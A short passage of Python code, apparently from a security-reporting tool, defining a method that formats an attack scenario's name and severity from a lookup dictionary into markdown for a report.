def _format_attack_scenario(self, scenario_key: str) -> str:

"""Format attack scenario for inclusion in security report.

Args:

scenario_key: Key from ATTACK_SCENARIOS dictionary

Returns:

Formatted markdown string with attack scenario details

"""

if scenario_key not in ATTACK_SCENARIOS:

return ""

scenario = ATTACK_SCENARIOS[scenario_key]

output = []

output.append(f"\n **Attack Scenario: {scenario['scenario']}**\n")

output.append(f" - **Severity:** {scenario['severity']}\n")

# Prerequisites